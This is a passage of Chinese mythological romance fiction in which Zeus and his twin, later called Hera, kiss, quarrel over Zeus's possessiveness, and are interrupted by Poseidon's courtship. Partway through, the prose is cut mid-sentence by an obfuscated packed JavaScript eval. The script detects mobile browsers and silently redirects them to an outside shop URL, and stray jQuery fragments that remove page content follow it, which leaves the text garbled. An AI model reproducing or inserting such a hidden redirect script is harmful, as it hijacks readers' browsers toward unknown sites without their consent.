我把手抬起来，放在他的胸口上，感受他的心跳在我掌心里，像一只被关在笼子里、拼命扇动翅膀的鸟。
“你的心跳好快。”我说。
他将手覆上我的手背，他的手指很长，骨节比我粗，皮肤比我糙。他的手完全盖住了我的手，像是要把我的手掌镶进他的胸膛里。
“你感觉到了吗？”他问。
“什么？”
“它在对你说什么。”
我张了张嘴：“你在怕什么？”
他的睫毛颤了一下。
“你从来不会害怕，”我继续说，“战争的时候你冲在最前面，被父神的镰刀划过胸口也不退一步。”
“我怕的东西不在战场上。”
“那在哪里？”
他抬眼，看着我：“在这里。”
海风停了，世界突然安静得像创世之前。
我听见他呼吸的声音，听见他喉结滚动时皮肤摩擦的细微声响。我看见他的瞳孔里有两个小小的、发光的我，被海面粼光映照着，眼睛里藏着连我自己都不认识的东西。
我开口：“波塞冬的事——”
“不要提他的名字。”
“别对他发怒，”我叹了口气，“他是你的兄弟。”
“他是我的兄弟，”宙斯重复了这句话，嘴角勾起一个不带温度的笑容，“那我是你的什么？”
这一次我没有犹豫：“你是我最重要的——”
话没说完，因为他吻了我。
我闭上眼睛。
眼皮后面，我看见了我们刚刚杀死的那些缇坦们的残骸，看见了燃烧的神殿和崩塌的苍穹，看见了这个血淋淋的、还没来得及命名的新世界……
然后什么都看不见了，只剩下嘴唇上的那一点触碰。
他的嘴唇移开了半寸，我能感觉到他说话时每一个音节引起的气流变化。
“哥哥，你是我的半身。”
“我知道。”
“不，你不知道。”他说，“你不知道双生意味着什么。”
他捧起我的脸，掌心贴着我的下颌，指尖埋进我耳后的头发里。
“你出生的时候我也出生了，你来这个世界的时候我也来了。没有你之前的世界，我没有见过。没有你之后的世界——”
“我也不想见。”
他的脸离我太近了，我能看清他瞳孔边缘那一圈鎏金的纹路，也能辨认出他眼底深藏着的恐惧。
宙斯，我那所向披靡的弟弟，在说到我们的分离时，心中竟然会产生恐惧？
“波塞冬可以给你海洋，可以给你潮汐，给你珊瑚，给你深海里所有的宝物。他能给你他拥有的，”
他停顿了一下。
“但我可以给你我自己。”
他说得不是很清楚，但我明白了他的意思。
波塞冬给我的是他拥有的，海洋、权力、宝物……一切他富余的，可以慷慨给予的。
而宙斯给我的，是他仅有的——
他自己。
“你疯了？”我说。
“也许。”
他笑了，有些傻气。
“你要一个疯了的弟弟吗？”
“不要。”
他的笑容僵了一瞬。
“我要一个疯了的情人。”
我捧住他的脸，把他的嘴唇拉了回来。
这一次是我吻的他。我咬他的下唇，铁锈的味道在我们口腔里蔓延。他闷哼一声，手从我的脸滑到我的后颈，扣住，加深了这个吻。
海浪在脚下炸开，拍打在礁石上，溅起的白色泡沫飞上露台，打湿了我们纠缠在一起的衣袍下摆。那些发光的生物在水面下炸开一团又一团的荧光，像是整个海洋都在对这个吻作出反应。
我们分开的时候都在喘气，他的嘴唇破了，下唇上有一道小小的裂口，血珠渗出来，沿着他的唇线往下淌。
“你咬我。”他说，语气里没有丝毫责备。
“你自找的。”我喘着气，努力让自己的声音恢复平稳，“谁让你先——”
“我先怎么？”
他把我拉进怀里，下巴抵在我的肩窝上，双臂环绕着我的腰和后背，力道大得像要把我揉进他的骨骼之间。
“我先吻你，”他在我耳边说，“我后悔没有更早吻你，后悔在战争里那么多并肩作战的夜晚，我都在想别的事情。”
“想什么？”
“想杀死父神后，要怎么开口告诉你。”
他的手臂收紧，声音里有一丝咬牙切齿的笑意：“结果你倒好，我还没想好怎么说，你就跑到波塞冬那里去了。”
我埋在他怀里笑出声来：“你吃醋了。”
“我没有。”
“你有。”
“我没有吃醋，”他把我从怀里带出来一点，低头看着我，金色的眼睛里有无奈、妥协、宠溺，还有一点点恼羞成怒，“我只是不想让我的双生去和别人看海，这叫领地意识。”
“领地？”我挑挑眉，“你是神还是野兽？”
“都是。”
他说这话的时候理直气壮，没有一丝不好意思。
“哥哥，”他又叫我，“不要再单独见波塞冬了。”
我侧头看他。
“不是因为我不信任你，”他补充，“是因为我不信任我自己。”
“不信任你自己什么？”
“不信任我能在他看着你的时候，不冲上去把他的眼睛挖出来。”
我沉默了两秒。
“你刚才说我是你的双生？”
“是。”
“双生意味着什么？”
“意味着你是我的另一半，”他注视我，“不是补全的那一半。你本来就是完整的，我本来也是完整的，但只有我们在一起的时候，整个世界才说得通。”
“没有你，这个世界是错的。”
海面上的金色光路越来越宽，夕阳正在沉入海平线。远处的天际从橙色渐变为紫罗兰色，星星开始在最高的天幕上亮起来。
他伸出手，掌心朝上，五指向我张开。
我把手放在他掌心里，他握住我的手，手指穿过我的指缝，扣紧。他的体温从掌心传过来，顺着血管往上走，走到手腕，走到小臂，走到心脏。
“走。”他说。
“去哪儿？”
“回家。”
“家在哪儿？”
“有我在的地方。”
我停下脚步，他被我拽得一顿，回过头来，露出一个疑惑的表情。
“怎么了？”
我抽出自己的手，看着他的脸，那张和我如此相似，又如此不同的脸。同样的轮廓，同样的线条，同样的鎏金瞳，但他的眼睛里永远比我多一种东西。
理所当然。
他理所当然地觉得自己应该当神王，理所当然地觉得所有人都应该听他的，理所当然地觉得——
我也是他的。
“我的弟弟，”我说，“你知不知道你很自以为是？”
他的眉毛微微动了一下。
“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648415|206825||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
总是这样，”我继续说，“你觉得这个世界应该按照你的想法运转。你觉得你应该当神王，所以神王就是你。你觉得我应该站在你身边，所以我就会站在你身边。你问过我的意见吗？”
“你从没问过我愿不愿意被你当成你的东西。”
“我没有把你当成我的东西。”他的声音有些干涩。
“那你刚才说的话是什么意思，‘领地意识’，你是认真的吗？”
“那只是——”
“只是什么？只是一个玩笑？只是一个不那么恰当的比喻？”我往前走了半步，“宙斯，你用‘领地’这个词来形容我。我是你的领地吗？是你需要划出边界、插上旗帜、派人驻守的一块地盘？”
他没有说话。
“你知道你最大的问题是什么吗？”我看着他，“你从来不会问。你想要什么，你就去拿。你想得到什么，你就去抢。你觉得什么是对的，什么就是对的。你不需要任何人同意，因为你觉得你的判断就是真理。”
“我——”
“你听我说完！”
几百年来，我很少用这种语气跟他说话。在战场上，他是统帅，我是副手。在决策时，他擅长拍板，我擅长执行。
我们之间的关系从来不是平等的，倒不是因为他压制我，而是我觉得没必要争。他喜欢发号施令，我不介意被发号施令。这个模式我们用了很久，久到成了习惯，久到我忘了去问自己——
我到底是“不介意”，还是“习惯了不介意”？
“你今天来找我，是因为你发现我跟波塞冬在一起，你生气了。你走过来，拉起我的手，对我说了很多。”
“这些话很动听，真的。任何一个听到这些话的人都会觉得，你是真心的。”
“我是真心的。”
“我知道你是真心的，”我说，“但真心和自以为是并不矛盾。你可以真心地觉得自己爱我，同时又真心地觉得我不需要有我自己的意志。这两件事可以同时发生，而且在同一个人身上，它们经常发生。”
“你觉得我没有把你的意志当回事？”他问。
“你有吗？”我反问，“你只是默认了。你默认了我们是双生，所以我们是彼此的。你默认了我们应该在一起，就像你默认了天空应该在上、大地应该在下一样。”
“你不觉得这很傲慢吗？”
“哥哥，”他站在原地，神色晦暗地看着我，“为了波塞冬，你真是什么话都可以对我说。”
我想否认这跟波塞冬没关系，但他已经转身离开了。
“他走了。”波塞冬不知什么时候出现在我身后，“你不去追？”
“不去。”
“赫拉，”他又开口，“你知道他在想什么吗？”
“什么？”
“他在想，你选了我。”
我转过头去看他，波塞冬那双湛蓝的眼睛在此刻显得格外亮。
“你和他之间的问题，不只是他的自以为是，还有你的骄傲。”波塞冬的手指悬在我脸颊旁边，指尖朝上，像是在等我主动靠过去，“你们太像了，都隐藏起自己的心意，都害怕输给对方。”
他灼热地看着我：“我不像他，我不会让你等。”
我的呼吸停了一瞬：“波塞冬——”
“我不是要你现在回答，”他收回手，垂在身侧，“我只是想让你知道，我在这里，我可以是你的另一个选择。”
“赫拉，如果有一天你选了他，我不会争。但如果你愿意——”
“让他来争。”